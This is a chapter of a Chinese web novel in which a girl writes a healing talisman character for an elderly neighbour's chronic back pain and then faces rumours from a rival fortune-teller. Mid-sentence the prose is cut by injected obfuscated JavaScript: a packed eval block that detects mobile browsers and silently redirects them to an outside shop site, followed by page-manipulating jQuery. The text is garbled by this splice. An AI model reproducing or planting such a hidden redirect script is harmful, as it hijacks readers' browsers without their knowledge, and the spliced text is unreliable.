王大爷的腰疼是老毛病了。
他在车间干了一辈子车工，站了几十年，腰早就坏了。一开始是阴雨天疼，后来天天疼，到现在已经疼了十几年。变天的时候连床都下不了。厂里的人都知道，三楼的王师傅，变天的时候走路一瘸一拐。
张清也注意到了。每次在院子里碰到王大爷，老人都是弯着腰走路的。脸上是一种忍耐的表情，不是疼得受不了，是一直在疼，已经习惯了。
"王爷爷又疼了？"
"老样子。"王大爷笑笑。他的笑容里带着苦。"不碍事。忍忍就过去了。"
但张清看得出来，他在忍。他的手扶着腰，每走一步都要停一下。
有一天张清看到王大爷在楼下晒太阳，背靠着墙，腿伸直了坐在那里。他的脸色不太好，额头上有细密的汗珠。
"王爷爷，你还好吗？"
"没事。晒晒太阳就好了。"
张清没说话。她知道王大爷在忍。
那天下午，天阴了。看样子要下雨。
张清在走廊上碰到王大爷的女儿王芳，从外面回来探望父亲，手里拎着一袋水果。脸色不太好，眼睛有点红。
"小清。"
"王芳姐。"
"我爸又疼了。"王芳叹了口气。"每次变天都这样。疼得下不了床。我都想接他到我家去住，但他不肯。"
"为什么不去？"
"他说老房子住惯了，不想给别人添麻烦。"
张清没说话。她想了想，问："有没有什么办法能让他不疼？"
王芳苦笑。"医院去了，药也吃了，针灸也试了。就是好不了。医生说这是老毛病，治不断根。只能忍着。"
张清点点头。"我知道了。"
她转身回了房间。
她打开了抽屉，拿出了图录。图录里有一页是"通字符"。"通"，管的是"滞"。腰疼，是不是也是一种"滞"？气血不通，所以疼？
她看了看那页图录。"通字符"的结构很复杂，有很多辅线条。她现在还写不出来完整的。但她可以简化，把主要的气路保留，把辅线条简化，融进楷书的"通"字里。
就像她写"安字符"一样。
她决定试试。
那天晚上，张清在房间里写了一个"通"字。
她磨了墨。然后开始写。
写的时候她能感觉到笔尖下的墨在"冲"，有个东西在往前拱。她握笔的手有点抖，但她稳住了。每一笔都按照图录上的气路走。
写完最后一笔的时候，她长长地吐了口气。额头出了一层细汗。
她把纸拿起来看了看。纸上的墨迹还在微微流动，但比描图的时候弱一些。
应该够用了。
她把纸折好，放进信封里。然后她洗了把脸，喝了口水，坐在窗前发呆。
她想到了王大爷。想到了他弯着腰走路的样子。想到了他额头的汗珠。
她希望这张字能帮他。
第二天早上，张清在院子里碰到王大爷。老人弯着腰，走路一瘸一拐。天已经下起了小雨，地上湿漉漉的。
"王爷爷。"
"小清啊。"王大爷笑笑。"要下雨了。"
"给你。"张清把信封递过去。"放在腰上。"
王大爷接过信封，看了看。"这是什么？"
"写的字。你试试。放在腰上，贴着。"
王大爷犹豫了一下。他看了看张清，又看了看信封。一个疼了几十年的人，什么都愿意试。
"行。我试试。"
他把信封收下了。他的手在发抖，不是因为冷，是因为疼。
张清看着他弯着腰走回楼里，心里有点酸。
当天晚上，王大爷把那张纸贴在腰上。
纸上的墨迹已经干了，但他能感觉到一点点什么，很微弱，像是有一点点温度从纸上透过来。一种暖，冬天晒太阳的那种暖，从皮肤渗进去，慢慢往骨头里钻。
他躺下来。腰还是疼。但好像没那么疼了。
那种疼变得钝了，没那么尖锐。他还能感觉到疼，但疼得没那么厉害。
他闭上了眼。慢慢地，他睡着了。
第二天早上醒来的时候，他愣了。
腰没那么疼了。从十分降到了三四分。他能起床，能走路，能弯腰。
他坐起来，试着弯了弯腰。还有点疼，但比以前轻多了。
他把纸拿下来看了看。纸上的墨迹已经完全干了，不动了。但他能感觉到，纸上还残留着一点点什么，很微弱，是在慢慢消散。
他走到院子里，碰到隔壁的老李。老李看到他直着腰走路，愣了一下。
"老王，今天腰不疼？"
王大爷笑了笑。"好多了。"
"怎么好的？"
"有个小孩给了我一张字。贴在腰上，就好多了。"
老李瞪大了眼睛。"真的假的？"
"真的。"王大爷拍了拍腰。"你看，我能弯腰了。"
老李看着他，嘴角抿了抿，没说话。他转身走了。
但第二天，王大爷的腰又疼了。
没有完全回到从前，但疼回来了一大半。他从三四分回到了六七分。能走路，但走不快。能弯腰，但弯不下去。
王芳来看他的时候，他的脸色又沉下去了。
"爸，不是说好了吗？"
"好了一天。今天又疼了。"
王芳看着父亲痛苦的样子，眼圈又红了。
王大爷把纸拿出来看了看，墨迹早干了。翻来覆去看了几遍，叹了口气，又贴回腰上。
"没什么用了。"
王芳去找了张清。
张清听到消息的时候，正在房间里写字。她的笔顿了一下。
"又疼了？"
"嗯。"王芳的声音里有失望，也有不甘。"好了一天，今天就回去了。"
张清沉默了。
她没有想到会这样。给刘婶写的安字符，一觉就管用了，到现在还好好的。给王大爷写的通字符，只管了一天。
她想了想，问："王大爷的腰是几十年的老毛病。刘婶的失眠是三年的。是不是时间越长的病，越难治？"
王芳不知道。她只是看着张清，目光里有期待，也有不安。
"你能不能再写一张？"
张清犹豫了。她不确定再写一张会不会有不同的结果。但她还是点了头。
"我试试。"
那天晚上，张清又写了一张"通"字。
这一次她写得久，试着把更多辅线条的笔路融进去。写完之后累得手都在抖，额头上的汗比上次多了一倍。
她把纸交给王芳的时候，没有说"一定管用"。她只说了一句："试试。"
这一次，效果比上一次好了一些。王大爷说腰从六七分降到了四五分。但没有像第一次那样降到三四分。
而且第三天，又回到了五六分。
反复了。
张清坐在房间里，看着图录上那张"通字符"，心里很闷。
她明白了一件事：她的笔力不够。简化版的通字符，效果只有完整版的几分之一。安字符管的是"安神"，对付小虎的夜哭、刘婶的失眠也许够了。但王大爷的腰是几十年的老伤，气血淤滞得太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809173|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
深，她的笔力冲不开那层淤滞。
就像拿着一把小锤子去敲一块大石头。敲得动，但敲不碎。
她在笔记本上画了一幅图，旁边歪歪扭扭地写着：
"通字效果不够腰疼太重只能好一两天笔力不够"
她盯着这行字看了很久，又加了一句：
"得练。"
消息还是传出去了。
但这次传的方式跟上次不一样。有人说王大爷的腰好了，有人说没好，有人说好了又疼了。版本太多，真假难辨。
有人信："老王确实能弯腰了，我亲眼看见的。"
有人不信："好了一天又疼了，那跟没好有什么区别？"
有人动摇："也许那张字只能管一时？"
马半仙抓住这个机会，更来劲了。
他在厂区外面碰到了几个工人，那几个工人看到他，互相使了个眼色，笑了。
"马师傅，听说有个小孩写字能治病？"
马半仙没笑。"那是骗人的。"
"可人家王大爷的腰好像好了一点。"
"好了一天又疼了。"马半仙冷笑。"你们想想，要是真管用，怎么只管一天？说明那就是蒙的。碰巧那天他没那么疼而已。"
几个人想了想，觉得也有道理。
马半仙趁热打铁："我做了这么多年法事，见过很多这种事。有时候巧合就是巧合，不能当真。听说他爷爷以前就是搞这个的。后来被批斗了。那丫头现在搞这个，早晚要出事。"
有人听了，有点害怕。有人听了，半信半疑。有人听了，不信。
但谣言还是传开了。
那天晚上，马半仙在食堂门口碰到几个工人，又把那套话说了一遍。这一次他添油加醋，说张清"用邪门歪道骗人"，说"她爷爷就是搞封建迷信被打死的"。
有人追问："你怎么知道她爷爷的事？"
马半仙摇着扇子，笑了笑。"这厂区的事，我什么不知道？"
他的步子很快，折扇在手里攥着，扇骨被他捏得嘎吱响。他转身走了的时候，脸上带着一种赢了棋的得意。
父亲单位的人开始用异样的眼光看张清。
在食堂吃饭的时候，有人偷偷看她。在院子里走路的时候，有人指指点点。
"就是那个小孩。"
"这么小就会写字治病？"
"谁知道是不是真的。好了一天又疼了，我看悬。"
"说不定是大人教的。"
"你别说，我看那字写得确实好。周伯年都夸的人，不简单。"
张清感觉到了。但她没说什么。
她知道，这事还没完。
她回到房间，关上门。她从抽屉里拿出笔记本，翻到最后一页，写了一行字：
"王大爷的腰只好了一半。外面的人开始议论了。马半仙在说我的坏话。"
她想了想，又加了一句：
"不能让马半仙知道我爷爷的事。"
她合上笔记本，坐在窗前发呆。窗外的月亮很圆。厂区的路灯把树影投在地上，风一吹就晃。
她站起来走到窗边。夜风里裹着潮气，要下雨了。
她想起王大爷今天下午又去药铺了。腰疼犯了。那张安字符只撑了三天。
三天。
她攥紧了笔杆。马半仙在厂里散的那些话，到处渗。王大爷的腰只是开始——如果安字符撑不住，那些信过她的人会怎么想？马半仙会怎么说？
她关上窗，拉了灯。
黑暗里，她摸到笔记本，翻开，写了一行很小的字：
"得想别的办法。快了。"